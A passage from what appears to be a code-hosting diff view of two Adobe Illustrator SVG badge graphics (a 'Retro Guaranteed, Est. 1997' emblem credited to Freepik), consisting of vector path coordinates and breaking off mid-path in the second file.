c3.9-12.9,10.9-24.7,20.7-34.5C60.1,13.1,80.8,4.6,102.8,4.6z M22.9,66.6h6.4h2.1h152.7h1.8h1.8h15l-1,5h-12.9h-1.8h-1.8H21.8H20
h-1.8H5.6l-1.2-5h14.9h1.8H22.9z M104.2,184.6h-1.3c-22,0-42.7-8.6-58.3-24.2c-9.8-9.8-16.8-21.6-20.7-34.5h159.3
c-3.9,12.9-10.9,24.7-20.7,34.5C146.9,176,126.2,184.6,104.2,184.6z M184.1,122.5h-6.4h-2.1H31.4h-2.1h-6.4h-1.8h-1.8h-15
l1.4-5.9h12.4h1.8h1.8h6.3h2H177h2h6.3h1.8h1.8h12.5l1.2,5.9h-15h-1.8H184.1z"/>
<path fill="#2B292A" d="M91.1,55.1c8.9-1,10.6-3.4,12.4-5.3c1.8,1.9,3.5,4.3,12.4,5.3c21,2.3,15.6-22.7,15.6-22.7
c-0.2,4.3-8.2,8-15.6,0.9c-4.7-4.5-9.5-3.3-12.4-1.8c-2.9-1.5-7.7-2.7-12.4,1.8c-7.4,7.1-15.5,3.4-15.6-0.9
C75.4,32.4,70.1,57.4,91.1,55.1z"/>
</g>
<g>
<path fill="#2B292A" d="M187.5,298.6v-17.2l-83.1-48l-0.9-0.5l-84,48.5v17.2c-5.3,0.4-10.7,0.9-16,1.4l-1.7,0.2l5.7,60.1l1.7-0.2
c3.4-0.3,6.9-0.6,10.3-0.9v19.2l83.1,48l0.9,0.5l84-48.5v-19.2c3.4,0.3,6.9,0.6,10.3,0.9l1.7,0.2l5.7-60.1l-1.7-0.2
C198.1,299.4,192.8,299,187.5,298.6z M31.6,288.4l71.9-41.5l71.9,41.5v9.3c-47.8-3.2-96-3.2-143.8,0V288.4z M104,244.9l-0.5-0.3
l-73.9,42.7v10.6c-2.2,0.2-4.4,0.3-6.6,0.5v-14.9l80.5-46.5l80.5,46.5v14.9c-2.2-0.2-4.4-0.3-6.6-0.5v-10.6L104,244.9z
M184,376.4l-80.5,46.5L23,376.4v-17.5c2.2-0.2,4.4-0.3,6.6-0.5v14.2l73.4,42.4l0.5,0.3l73.9-42.7v-14.2c2.2,0.2,4.4,0.3,6.6,0.5
V376.4z M176.4,358.4h-1v13l-71.9,41.5l-71.9-41.5v-13h-1h-0.8c0.3,0,0.6,0,0.8-0.1c0.3,0,0.7-0.1,1-0.1c47.8-3.4,96-3.4,143.8,0
C175.7,358.3,176,358.3,176.4,358.4c0.3,0,0.6,0,0.8,0H176.4z M197.9,340.1l-1.6,16.4c-3-0.3-5.9-0.5-8.9-0.8
c-0.6,0-1.1-0.1-1.7-0.1c-0.6,0-1.1-0.1-1.7-0.1c-2.2-0.2-4.4-0.3-6.6-0.5c-0.3,0-0.7-0.1-1-0.1c-0.3,0-0.7-0.1-1-0.1
c-23.9-1.7-47.9-2.6-71.9-2.6c-24,0-48,0.9-71.9,2.6c-0.3,0-0.7,0.1-1,0.1c-0.3,0-0.7,0.1-1,0.1c-2.2,0.2-4.4,0.3-6.6,0.5
c-0.6,0-1.1,0.1-1.7,0.1c-0.6,0-1.1,0.1-1.7,0.1c-3,0.2-5.9,0.5-8.9,0.8l-1.6-16.4l-3.5-36.9c1.2-0.1,2.3-0.2,3.5-0.3
c3.5-0.3,7-0.6,10.4-0.9c0.6,0,1.1-0.1,1.7-0.1c0.6,0,1.1-0.1,1.7-0.1c1.6-0.1,3.1-0.2,4.7-0.4c0.6,0,1.3-0.1,1.9-0.1v0.1h1h1
v-0.3c47.8-3.2,96-3.2,143.8,0v0.3h1h1v-0.1c0.6,0,1.3,0.1,1.9,0.1c1.6,0.1,3.2,0.2,4.7,0.4c0.6,0,1.1,0.1,1.7,0.1
c0.6,0,1.1,0.1,1.7,0.1c3.5,0.3,7,0.6,10.4,0.9c1.2,0.1,2.3,0.2,3.5,0.3L197.9,340.1z"/>
<polygon fill="#2B292A" points="122.8,281.9 105.4,256.9 103.5,254.1 101.5,256.9 84.2,281.9 87.8,291.3 119.2,291.3 "/>
<polygon fill="#2B292A" points="70.5,280.5 68.6,276.7 66.7,280.5 62.6,281.1 65.6,284.1 64.9,288.3 68.6,286.3 72.4,288.3
71.6,284.1 74.7,281.1 "/>
<polygon fill="#2B292A" points="134.6,288.3 138.4,286.3 142.1,288.3 141.4,284.1 144.4,281.1 140.2,280.5 138.4,276.7
136.5,280.5 132.3,281.1 135.3,284.1 "/>
<polygon fill="#2B292A" points="24.1,323.3 23,324.4 21.2,326.2 19.5,327.9 18.1,329.3 19.5,330.8 21.2,332.5 23,334.2
24.1,335.3 29.6,329.8 30.1,329.3 29.6,328.8 "/>
<polygon fill="#2B292A" points="185.7,327 184,325.3 182,323.3 177.4,327.9 176.4,329 176,329.3 176.4,329.7 177.4,330.7
182,335.3 184,333.3 185.7,331.6 187.5,329.9 188,329.3 187.5,328.7 "/>
<g>
<g>
<path fill="#2B292A" d="M41.2,348.1c-1.3-14-2.6-27.9-4-41.9c3.4-0.3,6.8-0.6,10.2-0.9c2.4-0.2,4.4-0.2,6.1,0.1
c1.7,0.2,3.2,0.8,4.5,1.5c1.3,0.8,2.3,1.9,3,3.3c0.7,1.4,1.1,3.2,1.2,5.3c0.2,2.6-0.1,4.8-0.8,6.5c-0.7,1.7-2,3-3.8,3.9
c2.5,6.8,4.9,13.5,7.2,20.3c-2.6,0.2-5.1,0.3-7.7,0.5c-2.1-6.3-4.3-12.5-6.5-18.8c-1.2,0.1-2.3,0.2-3.5,0.3
c0.5,6.4,1.1,12.8,1.6,19.1C46.3,347.6,43.7,347.9,41.2,348.1z M46.8,323.4c0.6-0.1,1.3-0.1,1.9-0.2c2.3-0.2,4-0.8,4.9-1.8
c0.9-1,1.3-2.7,1.1-5c-0.2-2.2-0.7-3.8-1.6-4.7c-0.9-0.9-2.6-1.3-4.9-1.1c-0.8,0.1-1.6,0.1-2.4,0.2
C46.1,315,46.5,319.2,46.8,323.4z"/>
<path fill="#2B292A" d="M70,346c-0.7-14-1.4-28-2.1-42c6.2-0.3,12.5-0.6,18.7-0.7c0,1.8,0.1,3.6,0.1,5.4
c-3.5,0.1-7,0.2-10.5,0.3c0.2,4,0.3,8,0.5,12.1c2.7-0.1,5.4-0.2,8.2-0.3c0,1.8,0.1,3.6,0.1,5.4c-2.7,0.1-5.4,0.2-8.1,0.3
c0.2,4.6,0.4,9.2,0.5,13.9c3.4-0.1,6.8-0.2,10.2-0.3c0,1.8,0.1,3.5,0.1,5.3C81.8,345.5,75.9,345.7,70,346z"/>
<path fill="#2B292A" d="M96.2,345.2c-0.1-12.1-0.3-24.3-0.4-36.4c-2.5,0-5,0.1-7.4,0.1c0-1.9-0.1-3.8-0.1-5.7
c7.6-0.2,15.3-0.2,22.9-0.1c0,1.9,0,3.8-0.1,5.7c-2.4,0-4.8,0-7.2,0c0,12.1,0,24.3,0,36.4C101.4,345.2,98.8,345.2,96.2,345.2z"
/>
<path fill="#2B292A" d="M114.1,345.2c0.2-14,0.4-28,0.6-42c3.4,0.1,6.8,0.1,10.3,0.2c2.4,0.1,4.4,0.3,6.1,0.8
c1.7,0.4,3.1,1.1,4.3,2c1.2,0.9,2.1,2.1,2.6,3.6c0.5,1.5,0.8,3.3,0.7,5.4c-0.1,2.6-0.7,4.8-1.5,6.4c-0.9,1.6-2.3,2.8-4.2,3.5
c1.7,7,3.4,14,5,21c-2.6-0.1-5.1-0.2-7.7-0.3c-1.4-6.5-2.9-12.9-4.4-19.4c-1.2,0-2.3-0.1-3.5-0.1c-0.2,6.4-0.3,12.8-0.5,19.2
C119.2,345.3,116.7,345.3,114.1,345.2z M122.4,321.3c0.6,0,1.3,0,1.9,0.1c2.4,0.1,4-0.4,5.1-1.3c1-0.9,1.6-2.6,1.7-4.9
c0.1-2.2-0.3-3.9-1.1-4.9c-0.8-1-2.4-1.5-4.8-1.6c-0.8,0-1.6,0-2.4-0.1C122.7,312.9,122.5,317.1,122.4,321.3z"/>
<path fill="#2B292A" d="M154.4,347.6c-4.3-0.3-7.3-1.7-9.1-4.2c-1.7-2.5-2.5-6-2.2-10.5c0.3-5.2,0.6-10.3,0.9-15.5
c0.1-2.2,0.5-4.1,1-5.8c0.5-1.6,1.3-3,2.4-4.1c1.1-1.1,2.5-2,4.2-2.4c1.7-0.5,3.7-0.6,6.1-0.5c4.6,0.4,7.8,1.8,9.6,4.3
c1.8,2.5,2.5,6,2,10.4c-0.5,5.2-1,10.3-1.5,15.5c-0.2,2.2-0.6,4.1-1.2,5.7c-0.6,1.6-1.4,3-2.5,4.1c-1.1,1.1-2.4,1.9-4,2.4
C158.5,347.6,156.6,347.8,154.4,347.6z M152.9,341.4c0.5,0.3,1.2,0.4,1.9,0.5c0.7,0.1,1.4,0,1.9-0.2c0.5-0.2,1-0.4,1.3-0.8
c0.3-0.3,0.6-0.8,0.9-1.3c0.2-0.6,0.4-1.1,0.5-1.7c0.1-0.6,0.2-1.2,0.3-2c0.5-6.3,1-12.7,1.6-19c0.1-1,0.1-1.9,0-2.5
c0-0.7-0.2-1.3-0.5-2c-0.3-0.6-0.7-1.1-1.3-1.5c-0.6-0.3-1.4-0.6-2.3-0.6c-1-0.1-1.8,0-2.4,0.3c-0.7,0.2-1.2,0.7-1.5,1.2
c-0.3,0.6-0.6,1.2-0.7,1.9c-0.2,0.7-0.3,1.5-0.3,2.5c-0.4,6.4-0.9,12.7-1.3,19.1c-0.1,0.8-0.1,1.5-0.1,2.1
c0,0.6,0.1,1.2,0.2,1.7c0.1,0.6,0.4,1.1,0.6,1.4C152,340.9,152.4,341.2,152.9,341.4z"/>
</g>
</g>
<g>
<path fill="#2B292A" d="M62.6,368.6H64v3.5c-1,0.7-2.4,1.2-3.7,1.2c-2.8,0-5-2.1-5-4.8c0-2.7,2.2-4.8,5.1-4.8
c1.4,0,2.7,0.5,3.7,1.3l-0.9,1.2c-0.7-0.7-1.8-1.1-2.8-1.1c-1.9,0-3.5,1.5-3.5,3.4c0,1.9,1.5,3.4,3.5,3.4c0.7,0,1.5-0.2,2.2-0.7
V368.6z"/>
<path fill="#2B292A" d="M70.3,371.9c1.6,0,2.5-1,2.5-2.6v-5.6h1.6v5.6c0,2.5-1.6,4-4.1,4s-4.2-1.5-4.2-4v-5.6h1.6v5.6
C67.7,370.9,68.7,371.9,70.3,371.9z"/>
<path fill="#2B292A" d="M82.6,371.1h-4.8l-0.9,2.2h-1.7l4.2-9.5H81l4.2,9.5h-1.7L82.6,371.1z M82,369.7l-1.8-4.2l-1.8,4.2H82z"
/>
<path fill="#2B292A" d="M92.5,373.2l-1.7-2.9c-0.1,0-0.3,0-0.4,0h-2.3v2.9h-1.6v-9.5h3.9c2.4,0,3.8,1.2,3.8,3.3
c0,1.5-0.7,2.6-2,3.1l2.1,3.2H92.5z M90.3,368.9c1.5,0,2.3-0.6,2.3-1.9c0-1.3-0.8-1.9-2.3-1.9h-2.3v3.8H90.3z"/>
<path fill="#2B292A" d="M102.4,371.1h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L102.4,371.1z M101.8,369.7l-1.8-4.2l-1.8,4.2
H101.8z"/>
<path fill="#2B292A" d="M107.9,363.7l5.1,6.8v-6.8h1.6v9.5H113l-5.1-6.8v6.8h-1.6v-9.5H107.9z"/>
<path fill="#2B292A" d="M123.6,363.7v1.4h-3v8.1H119v-8.1h-3v-1.4H123.6z"/>
<path fill="#2B292A" d="M131.8,363.7v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7v-9.5H131.8z"/>
<path fill="#2B292A" d="M140.7,363.7v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7v-9.5H140.7z"/>
<path fill="#2B292A" d="M151.7,368.5c0,2.7-2.1,4.8-5,4.8h-3.9v-9.5h3.9C149.6,363.7,151.7,365.7,151.7,368.5z M150.1,368.5
c0-1.9-1.5-3.3-3.3-3.3h-2.3v6.6h2.3C148.6,371.8,150.1,370.4,150.1,368.5z"/>
</g>
<g>
<path fill="#2B292A" d="M99.3,381.1v1.1h-3.8v1.9h3.4v1h-3.4v1.9h3.9v1.1h-5.1v-7H99.3z"/>
<path fill="#2B292A" d="M103.1,382.2c-0.7,0-1.1,0.3-1.1,0.7c0,1.5,3.8,0.7,3.8,3.2c0,1.2-1.1,2-2.6,2c-1.1,0-2.1-0.4-2.9-1.1
l0.5-1c0.7,0.7,1.6,1,2.4,1c0.8,0,1.3-0.3,1.3-0.8c0-1.6-3.8-0.7-3.8-3.2c0-1.2,1-1.9,2.5-1.9c0.9,0,1.8,0.3,2.4,0.7l-0.5,1
C104.4,382.4,103.6,382.2,103.1,382.2z"/>
<path fill="#2B292A" d="M111.9,381.1v1.1h-2.2v5.9h-1.2v-5.9h-2.2v-1.1H111.9z"/>
<path fill="#2B292A" d="M113.1,387.5c0,0.4-0.3,0.7-0.6,0.7s-0.6-0.3-0.6-0.7c0-0.4,0.3-0.6,0.6-0.6S113.1,387.1,113.1,387.5z"
/>
<path fill="#2B292A" d="M94.9,393.1v7h-1.2v-5.9h-1.5v-1.1H94.9z"/>
<path fill="#2B292A" d="M99.9,399.1c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C98.8,399,99.4,399.1,99.9,399.1z M98.8,395.4
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C99.4,394,98.8,394.5,98.8,395.4z"/>
<path fill="#2B292A" d="M106.1,399.1c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C105,399,105.6,399.1,106.1,399.1z M105,395.4
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C105.6,394,105,394.5,105,395.4z"/>
<path fill="#2B292A" d="M115.4,393.1v0.9l-2.9,6.1h-1.2l2.9-5.9h-3l0,1h-1v-2H115.4z"/>
</g>
<g>
<path fill="#FFFFFF" d="M98.6,286.7v-18.2h4.2c1,0,1.8,0.1,2.5,0.2c0.7,0.2,1.3,0.4,1.8,0.8c0.5,0.4,0.9,0.9,1.1,1.5
c0.3,0.6,0.4,1.4,0.4,2.3c0,1.1-0.2,2.1-0.5,2.8c-0.3,0.7-0.9,1.3-1.7,1.6l2.5,9h-3.3l-2.2-8.3h-1.5v8.3H98.6z M101.9,276.3h0.8
c1,0,1.7-0.2,2.1-0.6c0.4-0.4,0.6-1.1,0.6-2.1c0-1-0.2-1.7-0.5-2.1c-0.4-0.4-1-0.6-2-0.6h-1V276.3z"/>
</g>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 40 KiB

+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 205.3 195.9" enable-background="new 0 0 205.3 195.9" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-531.5" y="-528.8" display="inline" fill="#FFFFFF" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<g>
<path fill="#2B292A" d="M186.6,66.8V49.6l-83.1-48l-0.9-0.5l-84,48.5v17.2c-5.3,0.4-10.7,0.9-16,1.4L1,68.4l5.7,60.1l1.7-0.2
c3.4-0.3,6.9-0.6,10.3-0.9v19.2l83.1,48l0.9,0.5l84-48.5v-19.2c3.4,0.3,6.9,0.6,10.3,0.9l1.7,0.2l5.7-60.1l-1.7-0.2
C197.3,67.7,192,67.2,186.6,66.8z M30.8,56.6l71.9-41.5l71.9,41.5v9.3c-47.8-3.2-96-3.2-143.8,0V56.6z M103.2,13.1l-0.5-0.3
L28.8,55.5v10.6c-2.2,0.2-4.4,0.3-6.6,0.5V51.6l80.5-46.5l80.5,46.5v14.9c-2.2-0.2-4.4-0.3-6.6-0.5V55.5L103.2,13.1z
M183.2,144.6l-80.5,46.5l-80.5-46.5v-17.5c2.2-0.2,4.4-0.3,6.6-0.5v14.2l73.4,42.4l0.5,0.3l73.9-42.7v-14.2
c2.2,0.2,4.4,0.3,6.6,0.5V144.6z M175.5,126.6h-1v13l-71.9,41.5l-71.9-41.5v-13h-1h-0.8c0.3,0,0.6,0,0.8-0.1c0.3,0,0.7-0.1,1-0.1
c47.8-3.4,96-3.4,143.8,0C174.9,126.5,175.2,126.5,175.5,126.6c0.3,0,0.6,0,0.8,0H175.5z M197.1,108.3l-1.6,16.4
c-3-0.3-5.9-0.5-8.9-0.8c-0.6,0-1.1-0.1-1.7-0.1c-0.6,0-1.1-0.1-1.7-0.1c-2.2-0.2-4.4-0.3-6.6-0.5c-0.3,0-0.7-0.1-1-0.1
c-0.3,0-0.7-0.1-1-0.1c-23.9-1.7-47.9-2.6-71.9-2.6c-24,0-48,0.9-71.9,2.6c-0.3,0-0.7,0.1-1,0.1c-0.3,0-0.7,0.1-1,0.1
c-2.2,0.2-4.4,0.3-6.6,0.5c-0.6,0-1.1,0.1-1.7,0.1c-0.6,0-1.1,0.1-1.7,0.1c-3,0.2-5.9,0.5-8.9,0.8l-1.6-16.4L4.7,71.5
c1.2-0.1,2.3-0.2,3.5-0.3c3.5-0.3,7-0.6,10.4-0.9c0.6,0,1.1-0.1,1.7-0.1c0.6,0,1.1-0.1,1.7-0.1c1.6-0.1,3.1-0.2,4.7-0.4
c0.6,0,1.3-0.1,1.9-0.1v0.1h1h1v-0.3c47.8-3.2,96-3.2,143.8,0v0.3h1h1v-0.1c0.6,0,1.3,0.1,1.9,0.1c1.6,0.1,3.2,0.2,4.7,0.4
c0.6,0,1.1,0.1,1.7,0.1c0.6,0,1.1,0.1,1.7,0.1c3.5,0.3,7,0.6,10.4,0.9c1.2,0.1,2.3,0.2,3.5,0.3L197.1,108.3z"/>
<polygon fill="#2B292A" points="121.9,50.2 104.6,25.1 102.7,22.3 100.7,25.1 83.4,50.2 87,59.6 118.3,59.6 "/>
<polygon fill="#2B292A" points="69.6,48.8 67.8,45 65.9,48.8 61.7,49.4 64.7,52.3 64,56.5 67.8,54.5 71.5,56.5 70.8,52.3
73.8,49.4 "/>
<polygon fill="#2B292A" points="133.8,56.5 137.5,54.5 141.3,56.5 140.6,52.3 143.6,49.4 139.4,48.8 137.5,45 135.7,48.8
131.5,49.4 134.5,52.3 "/>
<polygon fill="#2B292A" points="23.3,91.6 22.1,92.7 20.4,94.4 18.7,96.1 17.2,97.6 18.7,99 20.4,100.7 22.1,102.4 23.3,103.6
28.8,98.1 29.3,97.6 28.8,97.1 "/>
<polygon fill="#2B292A" points="184.9,95.3 183.2,93.5 181.2,91.6 176.5,96.2 175.5,97.2 175.2,97.6 175.5,97.9 176.5,98.9
181.2,103.6 183.2,101.6 184.9,99.9 186.6,98.1 187.2,97.6 186.6,97 "/>
<g>
<g>
<path fill="#2B292A" d="M40.3,116.4c-1.3-14-2.6-27.9-4-41.9c3.4-0.3,6.8-0.6,10.2-0.9c2.4-0.2,4.4-0.2,6.1,0.1
c1.7,0.2,3.2,0.8,4.5,1.5c1.3,0.8,2.3,1.9,3,3.3c0.7,1.4,1.1,3.2,1.2,5.3c0.2,2.6-0.1,4.8-0.8,6.5c-0.7,1.7-2,3-3.8,3.9
c2.5,6.8,4.9,13.5,7.2,20.3c-2.6,0.2-5.1,0.3-7.7,0.5c-2.1-6.3-4.3-12.5-6.5-18.8c-1.2,0.1-2.3,0.2-3.5,0.3
c0.5,6.4,1.1,12.8,1.6,19.1C45.4,115.9,42.9,116.1,40.3,116.4z M46,91.7c0.6-0.1,1.3-0.1,1.9-0.2c2.3-0.2,4-0.8,4.9-1.8
c0.9-1,1.3-2.7,1.1-5c-0.2-2.2-0.7-3.8-1.6-4.7c-0.9-0.9-2.6-1.3-4.9-1.1c-0.8,0.1-1.6,0.1-2.4,0.2
C45.3,83.2,45.6,87.5,46,91.7z"/>
<path fill="#2B292A" d="M69.1,114.3c-0.7-14-1.4-28-2.1-42c6.2-0.3,12.5-0.6,18.7-0.7c0,1.8,0.1,3.6,0.1,5.4
c-3.5,0.1-7,0.2-10.5,0.3c0.2,4,0.3,8,0.5,12.1c2.7-0.1,5.4-0.2,8.2-0.3c0,1.8,0.1,3.6,0.1,5.4c-2.7,0.1-5.4,0.2-8.1,0.3
c0.2,4.6,0.4,9.2,0.5,13.9c3.4-0.1,6.8-0.2,10.2-0.3c0,1.8,0.1,3.5,0.1,5.3C81,113.7,75,114,69.1,114.3z"/>
<path fill="#2B292A" d="M95.4,113.5c-0.1-12.1-0.3-24.3-0.4-36.4c-2.5,0-5,0.1-7.4,0.1c0-1.9-0.1-3.8-0.1-5.7
c7.6-0.2,15.3-0.2,22.9-0.1c0,1.9,0,3.8-0.1,5.7c-2.4,0-4.8,0-7.2,0c0,12.1,0,24.3,0,36.4C100.5,113.4,98,113.4,95.4,113.5z"/>
<path fill="#2B292A" d="M113.3,113.5c0.2-14,0.4-28,0.6-42c3.4,0.1,6.8,0.1,10.3,0.2c2.4,0.1,4.4,0.3,6.1,0.8
c1.7,0.4,3.1,1.1,4.3,2c1.2,0.9,2.1,2.1,2.6,3.6c0.5,1.5,0.8,3.3,0.7,5.4c-0.1,2.6-0.7,4.8-1.5,6.4c-0.9,1.6-2.3,2.8-4.2,3.5
c1.7,7,3.4,14,5,21c-2.6-0.1-5.1-0.2-7.7-0.3c-1.4-6.5-2.9-12.9-4.4-19.4c-1.2,0-2.3-0.1-3.5-0.1c-0.2,6.4-0.3,12.8-0.5,19.2
C118.4,113.6,115.8,113.5,113.3,113.5z M121.6,89.6c0.6,0,1.3,0,1.9,0.1c2.4,0.1,4-0.4,5.1-1.3c1-0.9,1.6-2.6,1.7-4.9
c0.1-2.2-0.3-3.9-1.1-4.9c-0.8-1-2.4-1.5-4.8-1.6c-0.8,0-1.6,0-2.4-0.1C121.8,81.1,121.7,85.3,121.6,89.6z"/>
<path fill="#2B292A" d="M153.5,115.8c-4.3-0.3-7.3-1.7-9.1-4.2c-1.7-2.5-2.5-6-2.2-10.5c0.3-5.2,0.6-10.3,0.9-15.5
c0.1-2.2,0.5-4.1,1-5.8c0.5-1.6,1.3-3,2.4-4.1c1.1-1.1,2.5-2,4.2-2.4c1.7-0.5,3.7-0.6,6.1-0.5c4.6,0.4,7.8,1.8,9.6,4.3
c1.8,2.5,2.5,6,2,10.4c-0.5,5.2-1,10.3-1.5,15.5c-0.2,2.2-0.6,4.1-1.2,5.7c-0.6,1.6-1.4,3-2.5,4.1c-1.1,1.1-2.4,1.9-4,2.4
C157.6,115.8,155.7,116,153.5,115.8z M152,109.7c0.5,0.3,1.2,0.4,1.9,0.5c0.7,0.1,1.4,0,1.9-0.2c0.5-0.2,1-0.4,1.3-0.8
c0.3-0.3,0.6-0.8,0.9-1.3c0.2-0.6,0.4-1.1,0.5-1.7c0.1-0.6,0.2-1.2,0.3-2c0.5-6.3,1-12.7,1.6-19c0.1-1,0.1-1.9,0-2.5
c0-0.7-0.2-1.3-0.5-2c-0.3-0.6-0.7-1.1-1.3-1.5c-0.6-0.3-1.4-0.6-2.3-0.6c-1-0.1-1.8,0-2.4,0.3c-0.7,0.2-1.2,0.7-1.5,1.2
c-0.3,0.6-0.6,1.2-0.7,1.9c-0.2,0.7-0.3,1.5-0.3,2.5c-0.4,6.4-0.9,12.7-1.3,19.1c-0.1,0.8-0.1,1.5-0.1,2.1
c0,0.6,0.1,1.2,0.2,1.7c0.1,0.6,0.4,1.1,0.6,1.4C151.1,109.1,151.5,109.4,152,109.7z"/>
</g>
</g>
<g>
<path fill="#2B292A" d="M61.8,136.8h1.4v3.5c-1,0.7-2.4,1.2-3.7,1.2c-2.8,0-5-2.1-5-4.8c0-2.7,2.2-4.8,5.1-4.8
c1.4,0,2.7,0.5,3.7,1.3l-0.9,1.2c-0.7-0.7-1.8-1.1-2.8-1.1c-1.9,0-3.5,1.5-3.5,3.4c0,1.9,1.5,3.4,3.5,3.4c0.7,0,1.5-0.2,2.2-0.7
V136.8z"/>
<path fill="#2B292A" d="M69.4,140.1c1.6,0,2.5-1,2.5-2.6V132h1.6v5.6c0,2.5-1.6,4-4.1,4s-4.2-1.5-4.2-4V132h1.6v5.6
C66.9,139.1,67.9,140.1,69.4,140.1z"/>
<path fill="#2B292A" d="M81.7,139.3h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L81.7,139.3z M81.1,137.9l-1.8-4.2l-1.8,4.2
H81.1z"/>
<path fill="#2B292A" d="M91.7,141.5l-1.7-2.9c-0.1,0-0.3,0-0.4,0h-2.3v2.9h-1.6V132h3.9c2.4,0,3.8,1.2,3.8,3.3
c0,1.5-0.7,2.6-2,3.1l2.1,3.2H91.7z M89.5,137.2c1.5,0,2.3-0.6,2.3-1.9c0-1.3-0.8-1.9-2.3-1.9h-2.3v3.8H89.5z"/>
<path fill="#2B292A" d="M101.6,139.3h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L101.6,139.3z M101,137.9l-1.8-4.2l-1.8,4.2
H101z"/>
<path fill="#2B292A" d="M107.1,132l5.1,6.8V132h1.6v9.5h-1.6l-5.1-6.8v6.8h-1.6V132H107.1z"/>
<path fill="#2B292A" d="M122.8,132v1.4h-3v8.1h-1.6v-8.1h-3V132H122.8z"/>
<path fill="#2B292A" d="M131,132v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7V132H131z"/>
<path fill="#2B292A" d="M139.9,132v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7V132H139.9z"/>
<path fill="#2B292A" d="M150.8,136.7c0,2.7-2.1,4.8-5,4.8H142V132h3.9C148.8,132,150.8,134,150.8,136.7z M149.2,136.7
c0-1.9-1.5-3.3-3.3-3.3h-2.3v6.6h2.3C147.8,140,149.2,138.7,149.2,136.7z"/>
</g>
<g>
<path fill="#2B292A" d="M98.5,149.4v1.1h-3.8v1.9h3.4v1h-3.4v1.9h3.9v1.1h-5.1v-7H98.5z"/>
<path fill="#2B292A" d="M102.2,150.4c-0.7,0-1.1,0.3-1.1,0.7c0,1.5,3.8,0.7,3.8,3.2c0,1.2-1.1,2-2.6,2c-1.1,0-2.1-0.4-2.9-1.1
l0.5-1c0.7,0.7,1.6,1,2.4,1c0.8,0,1.3-0.3,1.3-0.8c0-1.6-3.8-0.7-3.8-3.2c0-1.2,1-1.9,2.5-1.9c0.9,0,1.8,0.3,2.4,0.7l-0.5,1
C103.5,150.6,102.8,150.4,102.2,150.4z"/>
<path fill="#2B292A" d="M111,149.4v1.1h-2.2v5.9h-1.2v-5.9h-2.2v-1.1H111z"/>
<path fill="#2B292A" d="M112.3,155.8c0,0.4-0.3,0.7-0.6,0.7s-0.6-0.3-0.6-0.7c0-0.4,0.3-0.6,0.6-0.6S112.3,155.4,112.3,155.8z"
/>
<path fill="#2B292A" d="M94.1,161.3v7h-1.2v-5.9h-1.5v-1.1H94.1z"/>
<path fill="#2B292A" d="M99.1,167.4c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C98,167.2,98.6,167.4,99.1,167.4z M98,163.6
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C98.6,162.3,98,162.8,98,163.6z"/>
<path fill="#2B292A" d="M105.3,167.4c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C104.1,167.2,104.7,167.4,105.3,167.4z M104.2,163.6
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C104.7,162.3,104.2,162.8,104.2,163.6z"/>
<path fill="#2B292A" d="M114.6,161.3v0.9l-2.9,6.1h-1.2l2.9-5.9h-3l0,1h-1v-2H114.6z"/>
</g>
<g>
<path fill="#FFFFFF" d="M97.8,55V36.8h4.2c1,0,1.8,0.1,2.5,0.2c0.7,0.2,1.3,0.4,1.8,0.8c0.5,0.4,0.9,0.9,1.1,1.5
c0.3,0.6,0.4,1.4,0.4,2.3c0,1.1-0.2,2.1-0.5,2.8c-0.3,0.7-0.9,1.3-1.7,1.6l2.5,9h-3.3l-2.2-8.3h-1.5V55H97.8z M101.1,44.5h0.8
